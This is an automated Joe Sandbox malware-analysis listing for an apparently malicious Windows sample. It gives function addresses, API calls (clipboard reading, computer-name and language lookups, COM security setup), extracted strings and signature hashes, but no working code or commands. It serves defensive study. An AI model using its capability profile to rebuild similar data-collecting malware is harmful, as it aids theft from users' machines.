Instruction Fuzzy Hash: 979149B011A384CBE774EF11C5597CFBAE1AB82308F11891ED29D4B250DBBA450DDF9A

Function 004085B0 Relevance: 7.6, APIs: 5, Instructions: 87
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcessId.KERNEL32 ref: 004085D1
GetCurrentThreadId.KERNEL32 ref: 004085D7
SHGetSpecialFolderPathW.SHELL32(00000000,?,00000010,00000000), ref: 004085E8
GetForegroundWindow.USER32 ref: 0040869C
ExitProcess.KERNEL32 ref: 004086DB

Memory Dump Source

Source File: 00000003.00000002.2569403096.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2569403096.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_uUtgy7BbF1.jbxd

Similarity

API ID: CurrentProcess$ExitFolderForegroundPathSpecialThreadWindow
String ID:
API String ID: 4063528623-0
Opcode ID: 749443de202a5043038cf60a811374f411e20320b39cfc084a8cc678c959233e
Instruction ID: 509b8593f85bca22239e70e965a689bc814e36a94043752a13a9102ecda549f4
Opcode Fuzzy Hash: 749443de202a5043038cf60a811374f411e20320b39cfc084a8cc678c959233e
Instruction Fuzzy Hash: BF2168B1E002005BD7147F319D0A72A76959F86705F0A863EECD5BB3E7EE3D8811865E

Function 0042BF32 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 84COMMON

Download Yara Rule

APIs

GetComputerNameExA.KERNELBASE(00000005,?,00000100), ref: 0042BFEB

Strings

Jk, xrefs: 0042BF7F

Memory Dump Source

Source File: 00000003.00000002.2569403096.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2569403096.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_uUtgy7BbF1.jbxd

Similarity

API ID: ComputerName
String ID: Jk
API String ID: 3545744682-2435780000
Opcode ID: e11f0280e5fc73940bd43accc5bac76100360abbb9ea086e8515174c2a2be390
Instruction ID: f8b6963ffdad34389f8e41c28869e3d9660b03a655e2583e95d8d3bda7f56e74
Opcode Fuzzy Hash: e11f0280e5fc73940bd43accc5bac76100360abbb9ea086e8515174c2a2be390
Instruction Fuzzy Hash: 9221253550C7904ADB32CB3998647EBBBE09F97304F094A6DC4DDC7286DB384405CB96

Function 0042BF30 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 63COMMON

Download Yara Rule

APIs

GetComputerNameExA.KERNELBASE(00000005,?,00000100), ref: 0042BFEB

Strings

Jk, xrefs: 0042BF7F

Memory Dump Source

Source File: 00000003.00000002.2569403096.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2569403096.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_uUtgy7BbF1.jbxd

Similarity

API ID: ComputerName
String ID: Jk
API String ID: 3545744682-2435780000
Opcode ID: 7025246bb4045d934add9299956edf933fbae908dc2bfb3c0eeb9ab801584232
Instruction ID: 1eb15b467228e91927b88c1530aa4184b94cdc4fa3224a7153598cd3ef29f343
Opcode Fuzzy Hash: 7025246bb4045d934add9299956edf933fbae908dc2bfb3c0eeb9ab801584232
Instruction Fuzzy Hash: 85113036608B904BDB31CB389C287EBBBD09F96310F194B2DC4DDC7295EB3848018B92

Function 00436A38 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

GetUserDefaultUILanguage.KERNELBASE ref: 00436A65

Strings

u, xrefs: 00436A73

Memory Dump Source

Source File: 00000003.00000002.2569403096.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2569403096.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_uUtgy7BbF1.jbxd

Similarity

API ID: DefaultLanguageUser
String ID: u
API String ID: 95929093-4067256894
Opcode ID: 3484c23c7cdde163382f8b5677bb3c5e64803b511a88fc23218b33cef870498d
Instruction ID: f3c22d90c568ecaed0f3cc6f16dafd322a7d18ae38fc015f3be8ab71a63a4f26
Opcode Fuzzy Hash: 3484c23c7cdde163382f8b5677bb3c5e64803b511a88fc23218b33cef870498d
Instruction Fuzzy Hash: 29010434C082929FCF119F78C9403EE7FA16F1B310F1986A9C4D567386D7398A058B96

Function 0040CAD6 Relevance: 3.1, APIs: 2, Instructions: 120COMMON

Download Yara Rule

APIs

CoInitializeEx.OLE32(00000000,00000002), ref: 0040CADA
CoInitializeEx.COMBASE(00000000,00000002), ref: 0040CC22

Memory Dump Source

Source File: 00000003.00000002.2569403096.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2569403096.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_uUtgy7BbF1.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 473d84c0bd29ceff853ded9ea3310dfdb5f52dcc193ba7537c9131df9544d089
Instruction ID: a48d5ef0adb5250571e8a41bd9df73004e022a6934e4612084ba1943594d6038
Opcode Fuzzy Hash: 473d84c0bd29ceff853ded9ea3310dfdb5f52dcc193ba7537c9131df9544d089
Instruction Fuzzy Hash: A741E4B4D10B00AFD370EF39DA4B7127EB4AB05250F404B2DF9EA866D4E631A4198BD7

Function 0042BDF4 Relevance: 3.1, APIs: 2, Instructions: 99COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?), ref: 0042BE25
GetComputerNameExA.KERNELBASE(00000006,?,00000100), ref: 0042BEC6

Memory Dump Source

Source File: 00000003.00000002.2569403096.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2569403096.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_uUtgy7BbF1.jbxd

Similarity

API ID: ComputerFreeLibraryName
String ID:
API String ID: 2904949787-0
Opcode ID: 1b899856a03afd29ed7c8782b2defd5225d8016c3f33a9f86d38d8b93064c668
Instruction ID: 4b0124f1363a5f6538044442258c4939d1b124f166065c956affb4ec42b5f0b7
Opcode Fuzzy Hash: 1b899856a03afd29ed7c8782b2defd5225d8016c3f33a9f86d38d8b93064c668
Instruction Fuzzy Hash: 7731F53522C3918FD7218B35D8107EBBBE5AF9A314F99486EC1C8D7252DB788806C791

Function 0042BDEE Relevance: 3.1, APIs: 2, Instructions: 84COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?), ref: 0042BE25
GetComputerNameExA.KERNELBASE(00000006,?,00000100), ref: 0042BEC6

Memory Dump Source

Source File: 00000003.00000002.2569403096.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2569403096.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_uUtgy7BbF1.jbxd

Similarity

API ID: ComputerFreeLibraryName
String ID:
API String ID: 2904949787-0
Opcode ID: 6620cd2dd9454d8305604dc0a295b7f92df86d05da90940a768b1fd21d37aead
Instruction ID: b0442a1b6006627bfac749667bf69648ea68c72265edfd0c76de215cb43adc1f
Opcode Fuzzy Hash: 6620cd2dd9454d8305604dc0a295b7f92df86d05da90940a768b1fd21d37aead
Instruction Fuzzy Hash: 6A21F8352683918FD721DB35DC107EBBBE6EB9A314F99492ED1C9C7252DB7488028781

Function 0043E9A1 Relevance: 3.0, APIs: 2, Instructions: 16COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 0043E9A1
GetForegroundWindow.USER32 ref: 0043E9B3

Memory Dump Source

Source File: 00000003.00000002.2569403096.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2569403096.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_uUtgy7BbF1.jbxd

Similarity

API ID: ForegroundWindow
String ID:
API String ID: 2020703349-0
Opcode ID: 0dea34fee18d2d4d34ccc8698138f7830839b94345d1193dcb1cea91282bf9ce
Instruction ID: 1f1a92c4ed7c3cabed4fabd3d678f137bf463a9ca5e289bc5fa2f09bb69a997d
Opcode Fuzzy Hash: 0dea34fee18d2d4d34ccc8698138f7830839b94345d1193dcb1cea91282bf9ce
Instruction Fuzzy Hash: B7D012B9C000068BDF44DFA0FC8D44E7769BE46619F045035E40343122E93495068B4D

Function 0042BD74 Relevance: 1.6, APIs: 1, Instructions: 82COMMON

Download Yara Rule

APIs

GetComputerNameExA.KERNELBASE(00000006,?,00000100), ref: 0042BEC6

Memory Dump Source

Source File: 00000003.00000002.2569403096.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2569403096.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_uUtgy7BbF1.jbxd

Similarity

API ID: ComputerName
String ID:
API String ID: 3545744682-0
Opcode ID: cd2bccd2bec2de7f05dfec0e84612135ab30a4b4d834837766c462715e607512
Instruction ID: 2ec592fbdc78758a6a3c226a3e8484dbb67dbcc7126bdc08d1755178837746e5
Opcode Fuzzy Hash: cd2bccd2bec2de7f05dfec0e84612135ab30a4b4d834837766c462715e607512
Instruction Fuzzy Hash: 472129352283918FD720DB35DC107EBBBE5EB9A324F994C2EC1C8C7252DB7488028781

Function 0043D990 Relevance: 1.5, APIs: 1, Instructions: 47memoryCOMMON

Download Yara Rule

APIs

RtlReAllocateHeap.NTDLL(?,00000000,00439407,01137378,00000000,01137378,00439407,00000000,00004000,?,?,?,?,00000001,01137378,000001EB), ref: 0043D9C2

Memory Dump Source

Source File: 00000003.00000002.2569403096.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2569403096.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_uUtgy7BbF1.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 084470b7baac391b38589efddef063322e1089dcf71c2679d93c93680cd862d0
Instruction ID: b8b631638b18798679597f3341c455e23d05a83346a63bcdeeebd9bf56da5e38
Opcode Fuzzy Hash: 084470b7baac391b38589efddef063322e1089dcf71c2679d93c93680cd862d0
Instruction Fuzzy Hash: EFF0277A8582A0FBC6116F25BC02A9B3664EF8F315F01147BF401A6121DB3ADC06D6DF

Function 00432919 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

CoSetProxyBlanket.COMBASE ref: 00432965

Memory Dump Source

Source File: 00000003.00000002.2569403096.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2569403096.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_uUtgy7BbF1.jbxd

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: e533b8d7a54d8a619334615e694dd05766154279aca62bc1f98a219380d37df7
Instruction ID: 24518978adee5ca75fa83efdf11994bb0dab04cffabc163f3a89706635ba24a8
Opcode Fuzzy Hash: e533b8d7a54d8a619334615e694dd05766154279aca62bc1f98a219380d37df7
Instruction Fuzzy Hash: 92F0A4B45093518FE321DF25D56974FBBE4BB88348F11891CE8945B291C7B99A488FC2

Function 0042E1EE Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

CoSetProxyBlanket.COMBASE ref: 0042E237

Memory Dump Source

Source File: 00000003.00000002.2569403096.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2569403096.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_uUtgy7BbF1.jbxd

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: f6c407c80fc0f7406bccacefba9cb4fe8356fce67e48fbcb250bc6c4a1960068
Instruction ID: a6a0066e54c7d049ab9ba52ee2f517c0d060c6457a62882aa2ba7396dcee3bc7
Opcode Fuzzy Hash: f6c407c80fc0f7406bccacefba9cb4fe8356fce67e48fbcb250bc6c4a1960068
Instruction Fuzzy Hash: 2CF07AB45087018FD354DF25D5A875BBBE0FB85304F00881DE5D68B290DBB59A48CF86

Function 0040CC67 Relevance: 1.5, APIs: 1, Instructions: 17COMMON

Download Yara Rule

APIs

CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 0040CC79

Memory Dump Source

Source File: 00000003.00000002.2569403096.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2569403096.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_uUtgy7BbF1.jbxd

Similarity

API ID: InitializeSecurity
String ID:
API String ID: 640775948-0
Opcode ID: f26f7e794f68f0bb5a99fe30ccc7342a53b7d5a4afcd2a31ad992c16831d56de
Instruction ID: 2b78fd6e66c85e2770e1fedaeca4d467f1847f566c0c49e5f6124588b814a6a2
Opcode Fuzzy Hash: f26f7e794f68f0bb5a99fe30ccc7342a53b7d5a4afcd2a31ad992c16831d56de
Instruction Fuzzy Hash: C6D092353D83417BF9645B08AD53F1072509746F16F310624B323FE2E5C9906501860C

Function 0043BD40 Relevance: 1.5, APIs: 1, Instructions: 15memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(?,00000000,00000000,004146B4,00000000), ref: 0043BD60

Memory Dump Source

Source File: 00000003.00000002.2569403096.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2569403096.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_uUtgy7BbF1.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 8b36816211867e107b1c33e8a36d1a93761f9aace37de06867b51b3c08574d90
Instruction ID: f90848bae3256b06cf5094926935a10db3a74c04a44cfe7e493f6f0e12b6a334
Opcode Fuzzy Hash: 8b36816211867e107b1c33e8a36d1a93761f9aace37de06867b51b3c08574d90
Instruction Fuzzy Hash: 85D0C931465622EBC6146F18BC15BC73A54DF4A361F0708A2F4006A475C675DC91DAE8

Function 0043BD20 Relevance: 1.5, APIs: 1, Instructions: 9memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,00408638,?,00408638), ref: 0043BD30

Memory Dump Source

Source File: 00000003.00000002.2569403096.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2569403096.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_uUtgy7BbF1.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: cf65f95657680e7bc98513e43210a7ecff9104acca7fedf48e906d763921924d
Instruction ID: 2c7a29268eac836babc22c216ba9330a039660881ad4ae188c8b4a1fbc13fc40
Opcode Fuzzy Hash: cf65f95657680e7bc98513e43210a7ecff9104acca7fedf48e906d763921924d
Instruction Fuzzy Hash: 40C09B31455321EBC6106B15FC05FC77F54DF49751F1140A6B00477072C771AC41C6D8

Non-executed Functions

Function 00433500 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 121clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 00433514
GetClipboardData.USER32 ref: 0043352F
GlobalLock.KERNEL32 ref: 00433548
GetWindowLongW.USER32 ref: 004335AE
GlobalUnlock.KERNEL32 ref: 00433681
CloseClipboard.USER32 ref: 0043368A

Strings

x, xrefs: 004335D3
j, xrefs: 004335E7
e, xrefs: 004335DD
Q, xrefs: 004335EC
], xrefs: 004335BF
q, xrefs: 004335C9

Memory Dump Source

Source File: 00000003.00000002.2569403096.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2569403096.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_uUtgy7BbF1.jbxd

Similarity

API ID: Clipboard$Global$CloseDataLockLongOpenUnlockWindow
String ID: Q$]$e$j$q$x
API String ID: 2832541153-692368135
Opcode ID: cd7ee1b0d44008d18f148219d93ad27284650de1e218d48dcbd18ce31904f4f5
Instruction ID: 6f1dbd0e63c0454490a30a8cba9f540b8e981e08c188719af7d206ff943662a7
Opcode Fuzzy Hash: cd7ee1b0d44008d18f148219d93ad27284650de1e218d48dcbd18ce31904f4f5
Instruction Fuzzy Hash: 9B41927150C7418ED310AF78988935FBFE0AB9A315F044A3EE4D5873D2D6788649C75B

Function 00426FD0 Relevance: 16.1, APIs: 2, Strings: 7, Instructions: 306COMMON

Download Yara Rule

Strings

rqB, xrefs: 00427165
#C(], xrefs: 00427286
o;i, xrefs: 004272AE
1G#A, xrefs: 0042727E
3SQm, xrefs: 004272A6
KJIH, xrefs: 00427214
xlc=, xrefs: 00427190

Memory Dump Source

Source File: 00000003.00000002.2569403096.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2569403096.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_uUtgy7BbF1.jbxd

Similarity

API ID:
String ID: o;i$#C(]$1G#A$3SQm$KJIH$rqB$xlc=
API String ID: 0-4225912290
Opcode ID: b291a350f7d21ee5a1b80931a86ef7cb954b4aa59bf97fddcf800b527b295b08
Instruction ID: 99384cb80079416eac910717a9e1d0dd8795ebf962f0defd3915704c1b902f09
Opcode Fuzzy Hash: b291a350f7d21ee5a1b80931a86ef7cb954b4aa59bf97fddcf800b527b295b08
Instruction Fuzzy Hash: 06914876A0C3248BC320DF64E88165FB7E1EBC9704F59493EE98997341DB74AD058BCA

Function 00419190 Relevance: 11.7, APIs: 2, Strings: 4, Instructions: 1209COMMON

Download Yara Rule

APIs

Part of subcall function 0043DA10: LdrInitializeThunk.NTDLL(00440D9D,00000002,00000018,?,?,00000018,?,?,?), ref: 0043DA3E

FreeLibrary.KERNEL32(?), ref: 00419706
FreeLibrary.KERNEL32(?), ref: 0041976B

Strings

HS, xrefs: 004195B6
wB, xrefs: 004195C6
X{, xrefs: 004195AE
056w, xrefs: 004198C4

Memory Dump Source

Source File: 00000003.00000002.2569403096.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2569403096.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_uUtgy7BbF1.jbxd

Similarity

API ID: FreeLibrary$InitializeThunk
String ID: 056w$HS$X{$wB
API String ID: 764372645-2637307891
Opcode ID: a444461b27d80ad657000d898751c9d626c695014427ae98d874af7b6ceb9ac3
Instruction ID: 5228fd0e467c720768e27c90b66e3c9c54d982958b1791ede40bd78fdaf92bff
Opcode Fuzzy Hash: a444461b27d80ad657000d898751c9d626c695014427ae98d874af7b6ceb9ac3
Instruction Fuzzy Hash: B0821B746483406BE724CF24D8A076BBBE1EBD6714F28892DE0D5473A1D379DC82CB5A

Function 00688D90 Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 455COMMON

Download Yara Rule

Strings

"ti, xrefs: 00688DAE, 00688F46, 00689111, 00689166
"ti, xrefs: 006891F1, 00688FE0

Memory Dump Source

Source File: 00000003.00000002.2569491244.0000000000671000.00000020.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000003.00000002.2569472759.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2569517514.000000000069C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2569535803.00000000006A6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2569552145.00000000006AA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2569567896.00000000006AC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_670000_uUtgy7BbF1.jbxd

Similarity

API ID:
String ID: "ti$"ti
API String ID: 0-2860212937
Opcode ID: db70b6725760ee1e7b0c82764c85399648d13b1201e1b058b4d747cb3a019c3f
Instruction ID: fc7d49635ef18015c822bf88762ae147e97f4ad7372b1f72ebe7aeb326160e87
Opcode Fuzzy Hash: db70b6725760ee1e7b0c82764c85399648d13b1201e1b058b4d747cb3a019c3f
Instruction Fuzzy Hash: 7B022D71E002199FDF14DFA9C9846EDB7B2FF48314F248269E519A7380D731AA41CB94

Function 00418241 Relevance: 10.9, APIs: 3, Strings: 3, Instructions: 419COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,?,00000000,?,?), ref: 00418272

Strings

<9, xrefs: 0041835B
L, xrefs: 0041836B
o, xrefs: 0041898B

Memory Dump Source

Source File: 00000003.00000002.2569403096.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2569403096.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_uUtgy7BbF1.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: <9$L$o
API String ID: 237503144-3122339205
Opcode ID: f91f0f8c20f7ac1f881b57f9819e89f26c0b09be35d7c1beb1e8172666532097
Instruction ID: 38d06cfc946e2d634f33bc898b8b3081b8a665a97a1976fa3bc9cb3ab81d6238
Opcode Fuzzy Hash: f91f0f8c20f7ac1f881b57f9819e89f26c0b09be35d7c1beb1e8172666532097
Instruction Fuzzy Hash: F6E14B756083528BD320CF29D8D07ABB7E1EF99324F188A3DE4C487391EB789945CB56

Function 00417EEE Relevance: 10.8, APIs: 1, Strings: 5, Instructions: 287COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,59195F3A,00000000,00000000,?), ref: 004181F4

Strings

M+O, xrefs: 00417F5E
!C-M, xrefs: 004180FA
qWs, xrefs: 00417F66
}Y*[, xrefs: 00417FC2
7imJ, xrefs: 00417F7B

Memory Dump Source

Source File: 00000003.00000002.2569403096.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2569403096.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_uUtgy7BbF1.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: M+O$!C-M$7imJ$}Y*[$qWs
API String ID: 237503144-2509796657
Opcode ID: 47ed97315e110507114ef7b549b792d0a16ca60f33f0bbd43ba62459c0688936
Instruction ID: 249fc3654da106cc027156d5fad6694f65c71858bdaf82a4f9d6bcb215be2f5f
Opcode Fuzzy Hash: 47ed97315e110507114ef7b549b792d0a16ca60f33f0bbd43ba62459c0688936
Instruction Fuzzy Hash: 3F9116716183128BC324CF14C4916BBB7F1EFC9764F199A1EE5CA5B361E7389881C74A

Function 00690062 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 182COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0068AFB3: GetLastError.KERNEL32(00000000,?,0068D392,?,?,?,00000000), ref: 0068AFB7
Part of subcall function 0068AFB3: SetLastError.KERNEL32(00000000,?,?,?,00000000,?,FFFFFFFF,000000FF,?,?,?,00000000), ref: 0068B059

GetUserDefaultLCID.KERNEL32(-00000002,00000000,?,00000055,?), ref: 0069016A
IsValidCodePage.KERNEL32(00000000), ref: 006901A8
IsValidLocale.KERNEL32(?,00000001), ref: 006901BB
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 00690203
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 0069021E

Strings

`/j, xrefs: 00690117

Memory Dump Source

Source File: 00000003.00000002.2569491244.0000000000671000.00000020.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000003.00000002.2569472759.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2569517514.000000000069C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2569535803.00000000006A6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2569552145.00000000006AA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2569567896.00000000006AC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_670000_uUtgy7BbF1.jbxd

Similarity

API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
String ID: `/j
API String ID: 415426439-149791257
Opcode ID: 328dd6a2b1554d81e0d682e3c2ca27ed7ec7f664fcf51241f58300f36b12ddf5
Instruction ID: 1f11625f467105f7a2c4da350eb7f3cc8a1b4bd0c3a4209abb94980fbc59e351
Opcode Fuzzy Hash: 328dd6a2b1554d81e0d682e3c2ca27ed7ec7f664fcf51241f58300f36b12ddf5
Instruction Fuzzy Hash: 99517F71A00206AFFF10EFA5CC45AFE77BEAF45700F14452AE905E7691EBB09A40CB65

Function 0042856C Relevance: 9.3, Strings: 7, Instructions: 519COMMON

Download Yara Rule

Strings

#z*>, xrefs: 004287D5
hi, xrefs: 004286FE
M`af, xrefs: 004288BE, 004288CB
TU, xrefs: 004287CE
KJIH, xrefs: 004289B5
M`af, xrefs: 004287DA, 00428846
xlc=, xrefs: 00428938

Memory Dump Source

Source File: 00000003.00000002.2569403096.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2569403096.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_uUtgy7BbF1.jbxd

Similarity

API ID:
String ID: #z*>$KJIH$M`af$M`af$TU$hi$xlc=
API String ID: 0-3444116175
Opcode ID: c0baef34677e044ab247d2e5aac73f80a096439048c6999c4bcee056cd6db3af
Instruction ID: 7e836b9766b242f3fc3dd51180be0f2cab443d7991a9e66097dbc5a85011b6e9
Opcode Fuzzy Hash: c0baef34677e044ab247d2e5aac73f80a096439048c6999c4bcee056cd6db3af
Instruction Fuzzy Hash: 0BD14775609321CBC3149F18D85166FB3F1EF86314F444A2DF9D69B3A0EB789905CB8A

Function 00428630 Relevance: 9.3, Strings: 7, Instructions: 514COMMON

Download Yara Rule

Strings

#z*>, xrefs: 004287D5
hi, xrefs: 004286FE
M`af, xrefs: 004288BE, 004288CB
TU, xrefs: 004287CE
KJIH, xrefs: 004289B5
M`af, xrefs: 004287DA, 00428846
xlc=, xrefs: 00428938

Memory Dump Source

Source File: 00000003.00000002.2569403096.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2569403096.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_uUtgy7BbF1.jbxd

Similarity

API ID:
String ID: #z*>$KJIH$M`af$M`af$TU$hi$xlc=
API String ID: 0-3444116175
Opcode ID: 8636f7f2d492a3864e0f02ebe2bf5754de26b4778162c7e19092fcca7101ddf1
Instruction ID: f976bc588ec640565c7012468651d5ffc8b69fa3d08ac8f64f271550ea2c12cc
Opcode Fuzzy Hash: 8636f7f2d492a3864e0f02ebe2bf5754de26b4778162c7e19092fcca7101ddf1
Instruction Fuzzy Hash: ADD13675609321CBC3149F18D85266FB3F1EF86314F444A2DF9D69B3A0EB789905CB8A

Function 004257AC Relevance: 9.3, Strings: 7, Instructions: 503COMMON

Download Yara Rule

Strings

KJIH, xrefs: 00425D12
KJIH, xrefs: 00425A65
xlc=, xrefs: 004259E5
x~, xrefs: 0042582C
xlc=, xrefs: 00425C9A
tz, xrefs: 00425824
xlc=, xrefs: 00425D67

Memory Dump Source

Source File: 00000003.00000002.2569403096.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2569403096.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_uUtgy7BbF1.jbxd

Similarity

API ID:
String ID: KJIH$KJIH$xlc=$xlc=$xlc=$tz$x~
API String ID: 0-1340891752
Opcode ID: 63b6a7e1f9943a7ee3fba3336e57c65c80b2210d8cee09f5dd92498206add450
Instruction ID: 4b9b57266fa6f88c6c86b47bd8eb3fb309f79ef555365d41f88ab1d7a07e1ec3
